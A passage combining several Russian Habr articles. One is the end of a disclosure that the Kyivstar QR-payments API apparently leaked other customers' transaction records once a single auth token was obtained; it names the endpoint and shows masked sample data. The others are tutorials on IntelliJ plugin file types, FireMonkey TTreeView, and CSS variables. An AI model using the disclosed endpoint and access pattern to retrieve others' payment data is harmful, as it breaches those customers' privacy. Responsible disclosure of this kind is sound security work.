{"Id":1308 Date:"2018-10-06T12:43:31.1179667" State:3 Amount:-4192.9700 TipsAmount:0.0000 Currency:"UAH" MerchantName:"Auchan" MerchantCity:"Kyev" MerchantId:"4109494835704666" ApprovalCode:"" ReferenceNumber:"827991150697" CardNumber:"4824XXXXXXXX6937"}
{"Id":1702 Date:"2018-12-06T18:40:02.657213" State:3 Amount:-81.0000 TipsAmount:0.0000 Currency:"UAH" MerchantName:"GIVC" MerchantCity:"Kiev" MerchantId:"4109499632222754" ApprovalCode:"605231" ReferenceNumber:"834091189417" CardNumber:"5168XXXXXXXX9997"}
```
Сервис отвечал на запросы только с корректными «Authorization» и «Map-AuthToken», последний из которых содержал закодированные в Base64 `{"alg":"RS256","kid":"33E283272B0433E283281FF404CA6F031E28320","typ":"JWT"}{"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone":"0800300466", "http://schemas.lime-systems.com/identity/claims/authId":"1199333", "http://schemas.lime-systems.com/identity/claims/userId":"25046", "http://schemas.lime-systems.com/identity/claims/deviceId":"12342", "nbf":1541370000, "exp":1541380001, "iat":1541390001, "iss":"http://localhost", "aud":"http://localhost"}` и другие данные.
Но несмотря на необходимость наличия в запросе корректных параметров, указанных выше, единожды получив Map-AuthToken, дальше можно было выполнять GET-запросы на адрес вида <https://qrpayments.kyivstar.ua/map/api/consumers/> множество раз.
И хотя всего за период с момента запуска, 16.04.2018, было осуществлено не так много операций (~2000 шт.) и сами полученные данные некритичны, такая ситуация настораживает:
даже если вы не пользуетесь Киевстаром, а просто платите в магазине **A**~~uchan~~ картой банка **B**~~ank~~, хакеры могут взломать провайдера ~~K~~**C** и получить о вас информацию.
В сфере платёжных карт есть подходящая по описанию ситуация: единая точка компрометации — это может быть терминал, банкомат, торговое предприятие, эквайер, процессинговый центр, через который были хищения с разных карт разных клиентов.
Перенося ситуацию на данного мобильного оператора: взломав один сервис, вы можете получить информацию из нескольких.
---
Перед публикацией этого материала я дал Киевстару второй шанс — отправил три письма по адресу bounty@kyivstar.net, который указан у них на [специальной странице](https://kyivstar.ua/ru/bugbounty): 17-го декабря, 20-го декабря и 27-го декабря, всё рабочие дни.
Отправлял, на всякий случай, с ящика, который не был указан в ситуации с утекшими паролями. Письма получены, но никакой обратной связи, даже автоматического ответа, не последовало.
Как вы понимаете, уязвимость не прикрыта, поэтому больше подробностей я указать не могу. Впрочем, всё и так понятно.
 | https://habr.com/ru/post/435074/ | null | ru | null |
# Пишем плагин к Intellij IDEA: Регистрация типа файла
Недавняя [статья](http://habrahabr.ru/post/148996) на Хабре напомнила мне о том, сколько времени я провел пытаясь написать свой плагин к Intellij IDEA. Официальная документация по созданию плагинов хоть и есть, но её неожиданно мало.
В этой статье я расскажу о том, как зарегистрировать свой тип файла в Intellij IDEA. Это может понадобиться если вы пишете свой языковой плагин или хотите запускать внешний редактор для файлов. В качестве примера возьмем файлы [Apache JMeter](http://jmeter.apache.org/) (установка самого JMeter не требуется).
Итак, откроем существующий проект с plugin модулем или создадим новый. Как это сделать можно почитать в упомянутой [статье](http://habrahabr.ru/post/148996) и в официальном [туториале](http://confluence.jetbrains.net/display/IDEADEV/Getting+Started+with+Plugin+Development).
#### Новый тип файла
Нам понадобится иконка размером 16x16 пикселей. Сохраним ее в папку `/resources/icons` и пометим папку как Source Root. Можно положить иконку прямо в `src`.
Каждый тип файла в IntelliJ представлен в виде имплементации интерфейса `com.intellij.openapi.fileTypes.FileType`. Создадим собственную реализацию:
```
public class JMeterFileType implements FileType {
public static final JMeterFileType INSTANCE = new JMeterFileType();
@NotNull @Override
public String getName() { return "JMeter"; }
@NotNull @Override
public String getDescription() { return "JMeter file"; }
@NotNull @Override
public String getDefaultExtension() { return "jmx"; }
@Override
public boolean isBinary() { return false; }
@Override
public boolean isReadOnly() { return false; }
@Override
public Icon getIcon() {
return IconLoader.getIcon("/icons/beaker.png");
}
@Override
public String getCharset(@NotNull VirtualFile file, byte[] bytes) {
return CharsetToolkit.UTF8;
}
}
```
Назначение методов можно почитать в JavaDoc’ах к [интерфейсу](https://github.com/JetBrains/intellij-community/blob/idea/117.798/platform/core-api/src/com/intellij/openapi/fileTypes/FileType.java), оговорю лишь несколько моментов.
* Синглтоны в коде Intellij IDEA используются повсеместно. Обычно я стараюсь их избегать, но здесь я следую общему стилю, создав поле `INSTANCE`, которое нам скоро понадобится.
* Если `isReadOnly` возвращает true, то тип файла можно изменить в настройках File > Settings > File Types.
* `isBinary` влияет на то, будет ли файл открываться в текстовом редакторе. Файлы JMeter — это Java объекты, сериализованные в XML с помощью XStream. Руками такие файлы писать особого смысла нет, зато можно отслеживать изменения в системе контроля версий.
#### Регистрация типа файла
Следующий шаг — регистрация типа файла в системе. Для этого нам понадобится наследник класса `com.intellij.openapi.fileTypes.FileTypeFactory`:
```
public class JMeterFileTypeFactory extends FileTypeFactory {
@Override
public void createFileTypes(@NotNull FileTypeConsumer consumer) {
consumer.consume(JMeterFileType.INSTANCE);
}
}
```
Осталось прописать `JMeterFileTypeFactory` в `plugin.xml`
```
...
...
```
Готово!
Посмотрим что получилось. Запустим плагин, при этом запустится новый экземпляр Intellij IDEA. Откроем File > Settings > File Types и видим как наш тип файла зарегистрирован:
Создадим новый проект и добавим в него JMeter файл. В дереве проекта видим, что у файла появилась иконка, а сам файл открывается в редакторе как простой текст.
#### Подсветка синтаксиса
Поскольку JMeter файлы — это обычный XML, давайте добавим подсветку синтаксиса. Делается это одной строчкой в plugins.xml:
```
...
...
```
… ну или почти одной. Здесь:
* `key` — это значение, возвращаемое `JMeterFileType.getName()`.
* `implementationClass` — это имплементация `SyntaxHighlighter`.
Существует несколько готовых реализаций подсветки синтаксиса: HTML, Java, Regexp и др. Само собой можно создать свой `SyntaxHighlighter`. Но это выходит за рамки статьи.
Запускаем и видим результат:
Подсветка синтаксиса для языковых плагинов немного отличается. Подробно останавливаться не буду. Перечислю только классы, на которые стоит обратить внимание:
* com.intellij.lang.Language
* com.intellij.openapi.fileTypes.LanguageFileType
* com.intellij.openapi.fileTypes.SyntaxHighlighterFactory (или LanguageFileTypeHighlighterProvider)
#### Итого
Итак, у нас получилось зарегистрировать новый тип файла в Intellij IDEA с иконкой и подсветкой синтаксиса. Больше информации по разработке плагинов можно почерпнуть из [официальной документации](http://confluence.jetbrains.net/display/IDEADEV/PluginDevelopment), [исходного кода Intellij IDEA](https://github.com/JetBrains/intellij-community) или на [форуме](http://devnet.jetbrains.net/community/idea/open_api_and_plugin_development). Полный код к посту можно [найти на GitHub](https://github.com/ponomandr/idea-plugin-tutorial-1). | https://habr.com/ru/post/149100/ | null | ru | null |
# Использование TTreeView в Firemonkey приложениях
На днях мне пришлось столкнуться с компонентом TTreeView. Заказчик настаивал на привычном ему компоненте — «Дереве», и хотел, чтобы приложение выглядело так, как он привык в VCL.
В этой статье я хотел бы рассказать о компоненте TTreeView (ветка дерева) и его использовании в Firemonkey приложениях, а также рассмотреть, в чем различия между VCL и FireMonkey реализацией.
В VCL каждой ветке добавить свою картинку было не сложно. Всё, что для этого требуется — это добавить компонент TImageList, «загрузить в него» картинки и назначить этот список свойству TreeView.Images:= ImageList;
Теперь 2 раза кликнем на дереве и добавляем ветки. Каждой указываем порядковый номер картинки, которую хотим отобразить на ветке.
После компиляции получим такой результат:
В FireMonkey дерево слегка изменилось. Во-первых, в FMX нет класса TTreeNode. Во-вторых, нет свойства Images. Ну и в третьих, в классе TTreeViewItem нет никаких свойств, ответственных за использование картинок.
Интернет на запрос «how to add image to treeviewitem firemonkey». предлагает воспользоваться довольно стандартным, как мне кажется, способом менять стандартные компоненты, расширяя их за счет изменения стиля: [monkeystyler.com/blog/entry/adding-images-to-a-firemonkey-treeview](http://monkeystyler.com/blog/entry/adding-images-to-a-firemonkey-treeview)
Пример имеет полное право на жизнь и вполне необходим, когда вы хотите видеть сразу результаты изменений стиля, в том числе в IDE. Но есть и другой способ, особенно — если все манипуляции вы делаете в Run-Time.
Способ основывается на особенностях архитектуры FireMonkey. Если мы заглянем в документацию, то увидим такую строчку:
**FireMonkey Controls Have Owners, Parents, and Children** (<http://docwiki.embarcadero.com/RADStudio/XE7/en/Arranging_FireMonkey_Controls>). Это означает, что каждый компонент может при необходимости выступить в роли контейнера для «любых» других компонентов (TfmxObject). Чем я и воспользуюсь.
Первым делом унаследуем новый класс ветки и слегка его «расширим»:
```
type
TNode = class(TTreeViewItem)
strict private
FImage: TImage;
private
procedure SetImage(const aValue: TImage);
public
constructor Create(Owner: TComponent; const aText: String;
const aImageFileName: String); reintroduce;
destructor Destroy; override;
published
property Image: TImage Read FImage Write SetImage;
end;
{ TTestNode }
constructor TNode.Create(Owner: TComponent; const aText: String;
const aImageFileName: String);
begin
inherited Create(Owner);
Self.Text := aText;
// Создаем картинку
FImage := TImage.Create(Owner);
// Особая магия FireMonkey, интересующимся - советую заглянуть в код этого метода
Self.AddObject(FImage);
// Позиционируем картинку
FImage.Align := TAlignLayout.Right;
//Загружаем из файла
FImage.Bitmap.LoadFromFile(aImageFileName);
// Делаем картинку фоном
FImage.SendToBack;
end;
destructor TNode.Destroy;
begin
Image.FreeOnRelease;
inherited;
end;
procedure TNode.SetImage(const aValue: TImage);
begin
FImage := aValue;
end;
```
Следующим шагом разместим на форме несколько компонентов:
TTreeView
TImage
2 TButton
TOpenDialog
Я ещё добавил компонент TStyleBook, однако он не обязателен, а лишь меняет стандартный стиль на один из стилей «из коробки», которые Embarcadero предоставляет вместе с IDE.
После выполнения предыдущих операций мое IDE приобрело следующий вид:
Добавим код обработки нажатия кнопок и событие TreeChange для дерева:
```
procedure TMainForm.AddNodeClick(Sender: TObject);
var
Node : TNode;
begin
// Устанавливаем параметры открытия файлов
OpenImage.Options := OpenImage.Options - [TOpenOption.ofAllowMultiSelect];
if OpenImage.Execute then
begin
// Показываем картинку на форме
MainImage.Bitmap.LoadFromFile(OpenImage.Files[0]);
// Создаем новую ветку с нужными нам параметрами
Node := TNode.Create(MainTree, ExtractFileName(OpenImage.Files[0]), OpenImage.Files[0]);
// Если ничего не выбрано, добавляем ветку дереву
if MainTree.Selected = nil then
MainTree.AddObject(Node)
else
// Добавляем ветку той которая выбрана, способ аналогичен тому который описан выше
MainTree.Selected.AddObject(Node);
end;
end;
// В этом методе всё аналогично предыдущему, кроме того что здесь есть возможность выбрать несколько картинок сразу
procedure TMainForm.AddImageListClick(Sender: TObject);
var
ImageFileName: string;
Node : TNode;
begin
OpenImage.Options := OpenImage.Options + [TOpenOption.ofAllowMultiSelect];
if OpenImage.Execute then
begin
for ImageFileName in OpenImage.Files do
begin
Node := TNode.Create(MainTree, ExtractFileName(ImageFileName), ImageFileName);
MainTree.AddObject(Node);
end;
MainImage.Bitmap.LoadFromFile(OpenImage.Files[0]);
end;
end;
procedure TMainForm.MainTreeChange(Sender: TObject);
begin
// Если выбрали ветку, то изменим картинку на картинку ветки
if MainTree.Selected is TNode then
MainImage.Bitmap := (MainTree.Selected as TNode).Image.Bitmap;
end;
```
После запуска приложение приняло такой вид:
На этом можно был бы заканчивать, однако я хотел бы обратить особое внимание читателей на особенности TFMXObject. А именно — на метод AddObject, который позволяет нам дорабатывать наши компоненты на лету.
Давайте теперь добавим нашей ветви, например, кнопку. Для этого аналогично примеру расширим наш класс и добавим в конструктор инициализацию кнопки:
```
type
TNode = class(TTreeViewItem)
strict private
FImage: TImage;
FButton: TButton;
private
procedure SetImage(const aValue: TImage);
procedure TreeButtonClick(Sender: TObject);
procedure SetButton(const Value: TButton);
public
constructor Create(Owner: TComponent; const aText: String;
const aImageFileName: String); reintroduce;
destructor Destroy; override;
published
property Image: TImage Read FImage Write SetImage;
property Button: TButton Read FButton Write SetButton;
end;
constructor TNode.Create(Owner: TComponent; const aText: String;
const aImageFileName: String);
begin
inherited Create(Owner);
Self.Text := aText;
// Создаем картинку
FImage := TImage.Create(Owner);
// Особая магия FireMonkey, интересующимся - советую заглянуть в код этого метода
Self.AddObject(FImage);
// Позиционируем картинку
FImage.Align := TAlignLayout.Right;
//Загружаем из файла
FImage.Bitmap.LoadFromFile(aImageFileName);
// Делаем картинку фоном
FImage.SendToBack;
// Всё по сути аналогично, кроме события OnClick
FButton := TButton.Create(Owner);
FButton.Text := 'Hi World';
Self.AddObject(FButton);
FButton.Align := TAlignLayout.Center;
FButton.SendToBack;
FButton.OnClick := TreeButtonClick;
end;
procedure TNode.TreeButtonClick(Sender: TObject);
begin
// Тут можно сделать обработку того какая кнопка была нажата
ShowMessage('Hello World');
end;
```
Откомпилируем приложение:
Таким же образом добавим поле ввода:
Код:
```
{ TTestNode }
constructor TNode.Create(Owner: TComponent; const aText: String;
const aImageFileName: String);
begin
inherited Create(Owner);
Self.Text := aText;
FButton := TButton.Create(Owner);
FButton.Text := 'Send';
Self.AddObject(FButton);
FButton.Align := TAlignLayout.Center;
FButton.SendToBack;
FButton.OnClick := TreeButtonClick;
// Добавим TEdit
FEdit:= TEdit.Create(Owner);
Self.AddObject(FEdit);
FEdit.Position.X := 150;
FEdit.Position.Y := 25;
FEdit.SendToBack;
FImage := TImage.Create(Owner);
Self.AddObject(FImage);
FImage.Align := TAlignLayout.Right;
FImage.Bitmap.LoadFromFile(aImageFileName);
FImage.SendToBack;
end;
```
Вот так вот просто в Run-Time расширять собственные компоненты. И благодаря FireMonkey наше приложение получиться ещё и кросс-платформенное.
Спасибо всем, кто прочитал эту статью. Спасибо всем, кто помогал. Жду замечаний и комментариев.
Ссылка на репозиторий с примером: [yadi.sk/d/lwuLryOwcsDyp](https://yadi.sk/d/lwuLryOwcsDyp) | https://habr.com/ru/post/243933/ | null | ru | null |
# CSS-переменные
CSS-переменные (их ещё называют «пользовательскими свойствами») поддерживаются веб-браузерами уже почти четыре года. Я пользуюсь ими там, где они могут пригодиться. Это зависит от проекта, над которым я работаю, и от конкретных задач, которые мне приходится решать. Работать с CSS-переменными просто, они способны принести разработчику немалую пользу. Правда, часто фронтенд-программисты применяют CSS-переменные неправильно или не понимают особенностей работы с ними.
[](https://habr.com/ru/company/ruvds/blog/523370/)
Я написал эту статью для того чтобы собрать в ней всё, что я знаю о CSS-переменных. В ходе работы над ней я надеялся узнать о них что-то новое и упорядочить то, что мне уже известно. Вы найдёте в этом материале всё, что нужно знать о CSS-переменных. Здесь имеется множество практических примеров и описаний сценариев использования CSS-переменных.
Готовы? Если так — приступим.
Введение
--------
CSS-переменные — это значения, которые объявляют в CSS, преследуя две цели. Первая — это многократное использование таких значений. Вторая — это сокращение объёмов CSS-кода. Рассмотрим простой пример.
*Стилизация элементов страницы*
```
.section {
border: 2px solid #235ad1;
}
.section-title {
color: #235ad1;
}
.section-title::before {
content: "";
display: inline-block;
width: 20px;
height: 20px;
background-color: #235ad1;
}
```
В этом примере CSS-кода значение `#235ad1` используется три раза. Представьте себе, что это — часть большого проекта. В нём подобные стили разбросаны по множеству CSS-файлов. Вас попросили поменять цвет `#235ad1`. В такой ситуации лучшее, что можно сделать, заключается в том, чтобы прибегнуть к возможностям редакторов кода по поиску и замене строковых значений.
Но при использовании CSS-переменных подобные задачи решаются гораздо проще. Давайте поговорим о том, как объявлять CSS-переменные. Перед именем переменной должно идти два дефиса. Объявим переменную в стиле для псевдокласса `:root` элемента :
```
:root {
--color-primary: #235ad1;
}
.section {
border: 2px solid var(--color-primary);
}
.section-title {
color: var(--color-primary);
}
.section-title::before {
/* Другие стили */
background-color: var(--color-primary);
}
```
По-моему, этот фрагмент кода выглядит гораздо чище, чем предыдущий. Переменная `--color-primary` является глобальной, так как объявлена она в стиле для псевдокласса `:root`. Но CSS-переменные можно объявлять и на уровне отдельных элементов, ограничивая область их видимости в документе.
Именование переменных
---------------------
Правила именования CSS-переменных не особенно сильно отличаются от правил, принятых в различных языках программирования. А именно, правильное имя CSS-переменной может включать в себя алфавитно-цифровые символы, знаки подчёркивания и дефисы. Кроме того, стоит обратить внимание на то, что имена этих переменных чувствительны к регистру.
```
/* Правильные имена */
:root {
--primary-color: #222;
--_primary-color: #222;
--12-primary-color: #222;
--primay-color-12: #222;
}
/* Неправильные имена */
:root {
--primary color: #222; /* Пробелы использовать нельзя */
--primary$%#%$#
}
```
Область видимости переменных
----------------------------
CSS-переменные имеют одну полезную особенность, которая заключается в том, что область их видимости можно ограничивать. В основе этой идеи лежат те же принципы, которые применяются в различных языках программирования. Например — в JavaScript:
```
let element = "cool";
function cool() {
let otherElement = "Not cool";
console.log(element);
}
```
В этом примере переменная `element` является глобальной, она доступна в функции `cool()`. Но к переменной `otherElement` можно обратиться только из тела функции `cool()`. Рассмотрим эту идею в применении к CSS-переменным.
```
:root {
--primary-color: #235ad1;
}
.section-title {
--primary-color: d12374;
color: var(--primary-color);
}
```
Переменная `--primary-color` является глобальной, обратиться к ней можно из любого элемента документа. Если переопределить её в блоке `.section-title`, это приведёт к тому, что её новым значением можно будет пользоваться только в этом блоке.
Вот схема, разъясняющая эту идею.
*Область видимости CSS-переменных*
Тут показана переменная `--primary-color`, используемая для настройки цвета заголовков разделов. Нам нужно настроить цвет заголовков разделов со сведениями об избранных авторах и о свежих статьях. Поэтому в стилях этих разделов мы переопределяем данную переменную. То же самое происходит и с переменной `--unit`. Вот стили, на которых основана предыдущая схема.
```
/* Глобальные переменные */
:root {
--primary-color: #235ad1;
--unit: 1rem;
}
/* Для цвета и отступа применяются глобальные значения */
.section-title {
color: var(--primary-color);
margin-bottom: var(--unit);
}
/* Переопределение переменной, управляющей цветом */
.featured-authors .section-title {
--primary-color: #d16823;
}
/* Переопределение переменных, управляющими цветом и отступом */
.latest-articles .section-title {
--primary-color: #d12374;
--unit: 2rem;
}
```
Использование резервных значений
--------------------------------
Обычно «резервные значения» используются для обеспечения работоспособности сайтов в браузерах, которые не поддерживают некие современные CSS-механизмы. Но здесь речь пойдёт не об этом, а о том, как задавать значения, используемые в том случае, если нужные CSS-переменные оказываются недоступными. Рассмотрим следующий пример:
```
.section-title {
color: var(--primary-color, #222);
}
```
Обратите внимание на то, что функции `var()` передано несколько значений. Второе из них, `#222`, будет использовано только в том случае, если переменная `--primary-color` не будет определена. При указании резервных значений можно использовать и вложенные конструкции `var()`:
```
.section-title {
color: var(--primary-color, var(--black, #222));
}
```
Этот подход к работе с переменными может оказаться полезным в том случае, если значение переменной зависит от некоего действия. Если может случиться так, что в переменной не будет значения, важно предусмотреть использование резервного значения.
Примеры и сценарии использования CSS-переменных
-----------------------------------------------
### ▍Управление размером компонентов
*Компоненты разных размеров*
В дизайн-системах часто имеются, например, кнопки разных размеров. Как правило, речь идёт о трёх вариантах размеров (маленький, обычный, большой). С использованием CSS-переменных можно очень легко описывать такие кнопки и другие подобные элементы.
```
.button {
--unit: 1rem;
padding: var(--unit);
}
.button--small {
--unit: 0.5rem;
}
.button--large {
--unit: 1.5rem;
}
```
Меняя значение переменной `--unit` в области видимости, соответствующей компоненту кнопки, мы создаём разные варианты кнопки.
### ▍CSS-переменные и HSL-цвета
HSL (Hue, Saturation, Lightness — тон, насыщенность, светлота) — это цветовая модель, в которой компонент H определяет цвет, а компоненты S и L определяют параметры насыщенности и светлоты цвета.
*Цвета элементов, задаваемые с использованием HSL*
```
:root {
--primary-h: 221;
--primary-s: 71%;
--primary-b: 48%;
}
.button {
background-color: hsl(var(--primary-h), var(--primary-s), var(--primary-b));
transition: background-color 0.3s ease-out;
}
/* Затемнение фона */
.button:hover {
--primary-b: 33%;
}
```
Обратите внимание на то, как я сделал цвет кнопки темнее, уменьшив значение переменной `--primary-b`.
Если вас интересует тема использования цветов в CSS — [вот](https://habr.com/ru/company/ruvds/blog/505626/) моя статья об этом.
### ▍Изменение размеров элементов с сохранением пропорций
Если вы работали в какой-нибудь дизайнерской программе, вроде Photoshop, Sketch, Figma или Adobe XD, то вы можете знать об использовании клавиши `Shift` при изменении размеров объектов. Благодаря этому приёму можно избежать искажения пропорций элементов.
В CSS нет стандартного механизма изменения размеров элементов с сохранением пропорций. Но это ограничение можно обойти, воспользовавшись, как несложно догадаться, CSS-переменными.
*Настройка размеров элемента с помощью CSS-переменных*
Предположим, что у нас имеется значок, ширина и высота которого должны быть одинаковыми. Для того чтобы этого добиться, я определил CSS-переменную `--size`, использовав её для настройки ширины и высоты элемента.
```
.icon {
--size: 22px;
width: var(--size);
height: var(--size);
}
```
В результате оказывается, что этот приём имитирует использование клавиши `Shift` при изменении размеров объектов. Тут достаточно изменить значение одной переменной `--size`. Подробнее эта тема освещена [здесь](https://ishadeed.com/snippet/proportional-resizing-css-variables/).
### ▍Макеты, основанные на CSS Grid
CSS-переменные могут оказаться чрезвычайно полезными при проектировании макетов страниц, основанных на CSS Grid. Представьте, что вам нужно сделать так, чтобы Grid-контейнер выводил бы дочерние элементы, основываясь на заранее заданной ширине элементов. Вместо того чтобы создавать класс для каждого варианта представления элементов, что приведёт к необходимости дублирования CSS-кода, эту задачу можно решить, воспользовавшись CSS-переменными.
*Настройка размеров Grid-элементов с использованием CSS-переменной*
```
.wrapper {
--item-width: 300px;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(var(--item-width), 1fr));
grid-gap: 1rem;
}
.wrapper-2 {
--item-width: 500px;
}
```
Благодаря такому подходу можно создать гибкий Grid-макет, подходящий для использования в различных проектах, который легко поддерживать. Ту же идею можно применить и для настройки свойства `grid-gap`.
```
.wrapper {
--item-width: 300px;
--gap: 0;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(var(--item-width), 1fr));
}
.wrapper.gap-1 {
--gap: 16px;
}
```
*Использование переменной --gap для настройки свойства grid-gap*
Хранение в переменных значений со сложной структурой
----------------------------------------------------
### ▍CSS-градиенты
Под «значениями со сложной структурой» я понимаю, например, нечто вроде градиентов. Если в проекте есть градиент или фон, используемые во многих местах этого проекта, то их описания имеет смысл хранить в CSS-переменных.
```
:root {
--primary-gradient: linear-gradient(150deg, #235ad1, #23d1a8);
}
.element {
background-image: var(--primary-gradient);
}
```
В подобных ситуациях в переменных можно хранить и отдельные элементы «сложных» значений. Это, например, может быть угол градиента:
```
.element {
--angle: 150deg;
background-image: linear-gradient(var(--angle), #235ad1, #23d1a8);
}
.element.inverted {
--angle: -150deg;
}
```
*Разные варианты градиента, созданные путём изменения переменной --angle*
### ▍Позиция фона
Как уже было сказано, CSS-переменные могут хранить значения со сложной структурой. Это может оказаться полезным в том случае, если имеется элемент, который, в зависимости от происходящего, может понадобиться размещать в разных местах страницы.
*Управление позицией элемента с помощью переменной --pos*
```
.table {
--size: 50px;
--pos: left center;
background: #ccc linear-gradient(#000, #000) no-repeat;
background-size: var(--size) var(--size);
background-position: var(--pos);
}
```
Переключение между тёмной и светлой темами
------------------------------------------
Сейчас сайты, почти в обязательном порядке, оснащают тёмной и светлой темой. Для решения этой задачи можно воспользоваться CSS-переменными, храня в них сведения о цветах и переключаясь между ними после анализа системных параметров или настроек, выполненных пользователем.
*Светлая и тёмная темы*
```
:root {
--text-color: #434343;
--border-color: #d2d2d2;
--main-bg-color: #fff;
--action-bg-color: #f9f7f7;
}
/* Класс, добавленный к элементу \*/
.dark-mode {
--text-color: #e9e9e9;
--border-color: #434343;
--main-bg-color: #434343;
--action-bg-color: #363636;
}
```
[Вот](https://ishadeed.com/assets/css-vars/dark-light.mp4) видеодемонстрация вышеозвученной идеи.
Установка значений, применяемых по умолчанию
--------------------------------------------
В некоторых ситуациях нужно задавать CSS-переменные с использованием [JavaScript](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties#Values_in_JavaScript). Представим, что нам нужно установить значение свойства `height` элемента, размеры которого могут меняться. Я узнал о данном приёме из [этой](https://justmarkup.com/articles/2020-09-22-styling-and-animation-details/) статьи.
Переменная `--details-height-open` изначально пуста. Её планируется использовать в описании стиля некоего элемента. Она должна содержать высоту элемента в пикселях. Если из JavaScript установить значение этой переменной по какой-то причине не удастся, важно предусмотреть применение вместо неё некоего резервного значения, используемого по умолчанию.
```
.section.is-active {
max-height: var(--details-height-open, auto);
}
```
В этом примере роль значения, используемого по умолчанию, играет `auto`. Оно будет применено в том случае, если из JavaScript не удастся задать значение переменной `--details-height-open`.
Регулирование ширины элемента-контейнера
----------------------------------------
*Управление шириной элемента-контейнера*
Элементы-контейнеры, используемые на веб-страницах, могут, в разных ситуациях, иметь разные размеры. Возможно, на одной странице может понадобиться небольшой контейнер, а на другой — контейнер побольше. В подобных случаях CSS-переменные могут с успехом использоваться для управления размерами контейнеров.
```
.wrapper {
--size: 1140px;
max-width: var(--size);
}
.wrapper--small {
--size: 800px;
}
```
Встроенные стили
----------------
Использование CSS-переменных во встроенных стилях может открыть перед фронтенд-разработчиком массу новых возможностей, о которых он раньше и не подозревал. На самом деле, я написал об этом целую [статью](https://ishadeed.com/article/css-variables-inline-styles/), но тут я, всё же, расскажу о самых интересных способах использования переменных во встроенных стилях.
Возможно, в продакшне этими методами лучше не пользоваться. Они очень хорошо подходят для прототипирования и для исследования различных дизайнерских идей.
### ▍Динамические Grid-элементы
Например, для настройки ширины элемента можно воспользоваться переменной `--item-width`, объявленной прямо в атрибуте элемента `style`. Такой подход может оказаться полезным при прототипировании Grid-макетов.
Вот HTML-код элемента:
```
```
Вот стиль, применяемый к этому элементу:
```
.wrapper {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(var(--item-width), 1fr));
grid-gap: 1rem;
}
```
[Здесь](https://codepen.io/shadeed/pen/7d3e0d575a5cecb86233fc7d72fa90d4) можно поэкспериментировать с примером к этому разделу.
### ▍Аватары пользователей
*Аватары разных размеров*
Ещё один интересный вариант использования CSS-переменных во встроенных стилях представлен созданием элементов разных размеров. Предположим, нам, в разных ситуациях, нужно выводить аватар пользователя различных размеров. При этом мы хотим управлять его размером с использованием единственной CSS-переменной.
Вот разметка:
```
```
Вот стили:
```
.c-avatar {
display: inline-block;
width: calc(var(--size, 1) * 30px);
height: calc(var(--size, 1) * 30px);
}
```
Проанализируем эти стили:
* У нас имеется конструкция `var(--size, 1)`. В ней предусмотрено значение, применяемое по умолчанию. Оно используется в том случае, если значение переменной `--size` не задано с использованием атрибута `style` стилизуемого элемента.
* Минимальный размер элемента устанавливается равным `30px*30px`.
Медиазапросы
------------
Совместное использование CSS-переменных и медиазапросов может принести немалую пользу в деле настройки значений переменных, используемых на всех страницах веб-сайтов. Самый простой пример использования этой техники, который приходит мне в голову, заключается в настройке расстояния между элементами:
```
:root {
--gutter: 8px;
}
@media (min-width: 800px) {
:root {
--gutter: 16px;
}
}
```
В результате свойства любого элемент, в котором используется переменная `--gutter`, будут зависеть от ширины области просмотра браузера. Как по мне, так это — просто замечательная возможность.
Наследование
------------
CSS-переменные поддерживают наследование. Если в пределах родительского элемента объявлена CSS-переменная, то элементы-потомки наследуют эту переменную. Рассмотрим пример.
Вот HTML-код:
```
```
Вот стили:
```
.parent {
--size: 20px;
}
.child {
font-size: var(--size);
}
```
Элемент `.child` наследует переменную `--size`, объявленную в стиле элемента `.parent`. У элемента `.child` есть доступ к этой переменной. Полагаю, это — очень интересно. Возможно, вы сейчас задаётесь вопросом о том, какая нам от этого польза. Полагаю, ответить на этот вопрос поможет следующий пример из жизни.
*Наследование CSS-переменных*
Тут имеется группа кнопок, к которым предъявляются следующие требования:
* Возможность изменения размера всех элементов путём установки значения единственной переменной.
* Расстояние между элементами должно динамически меняться в зависимости от их размера. При увеличении элементов расстояние между ними увеличивается, а при уменьшении — уменьшается.
Вот разметка к этому примеру:
```
```
Вот стили:
```
.actions {
--size: 50px;
display: flex;
gap: calc(var(--size) / 5);
}
.actions--m {
--size: 70px;
}
.actions__item {
width: var(--size);
height: var(--size);
}
```
Обратите внимание на то, как я использовал переменную `--size` при настройке свойства `gap` Flexbox-элементов. Это позволяет, основываясь на переменной `--size`, динамически менять расстояние между элементами
Ещё один пример использования механизма наследования CSS-переменных представлен настройкой CSS-анимаций. Этот пример я взял [отсюда](https://css-tricks.com/using-custom-properties-to-wrangle-variations-in-keyframe-animations/).
```
@keyframes breath {
from {
transform: scale(var(--scaleStart));
}
to {
transform: scale(var(--scaleEnd));
}
}
.walk {
--scaleStart: 0.3;
--scaleEnd: 1.7;
animation: breath 2s alternate;
}
.run {
--scaleStart: 0.8;
--scaleEnd: 1.2;
animation: breath 0.5s alternate;
}
```
При таком подходе нам не нужно дважды объявлять `@keyframes`. В стилях `.walk` и `.run` переопределяются значения унаследованных переменных.
Валидация CSS-переменных
------------------------
Если оказывается, что с CSS-переменной, переданной функции `var()`, что-то не так, браузер заменит значение этой переменной на исходное (унаследованное) значение соответствующего свойства.
```
:root {
--main-color: 16px;
}
.section-title {
color: var(--main-color);
}
```
Здесь в переменную `--main-color`, используемую для настройки свойства `color`, записано значение `16px`. А это — совершенно неправильно. Свойство `color` наследуется. Браузер в этой ситуации работает по следующему алгоритму:
* Является ли свойство наследуемым?
Вот схема работы браузера.
*Схема работы браузера при обнаружении некорректного значения CSS-переменной*
### ▍Концепция недопустимого значения, появляющегося во время вычислений
То, о чём шла речь выше, с технической точки зрения, называется «недопустимым значением, появляющимся во время вычислений» (Invalid At Computed-Value Time). Ситуация, в которой появляются такие значения, возникает, когда функции `var()` передаётся корректная CSS-переменная, значение которой не подходит для записи в настраиваемое с её помощью свойство.
Рассмотрим следующий пример, который я взял из [этой](https://lea.verou.me/2020/06/hybrid-positioning-with-css-variables-and-max/) статьи:
```
.section-title {
top: 10px;
top: clamp(5px, var(--offset), 20px);
}
```
Если браузер не поддерживает функцию `clamp()` — воспользуется ли он, в качестве резервного, значением, заданным в конструкции `top: 10px`? Если кратко ответить на этот вопрос, то нет — не воспользуется. Причина этого заключается в том, что к тому моменту, когда браузер обнаружит некорректное значение, которое пытаются записать в свойство, он уже отбросит, в соответствии с порядком каскадного применения стилей, другие значения. То есть — он просто проигнорирует конструкцию `top: 10px`.
